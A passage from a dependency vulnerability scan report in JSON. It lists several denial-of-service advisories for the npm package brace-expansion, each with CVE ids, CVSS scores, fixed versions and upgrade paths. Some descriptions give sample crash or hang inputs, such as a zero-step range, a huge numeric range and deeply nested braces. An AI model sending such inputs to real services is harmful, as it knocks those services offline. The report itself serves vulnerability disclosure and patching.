"minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", 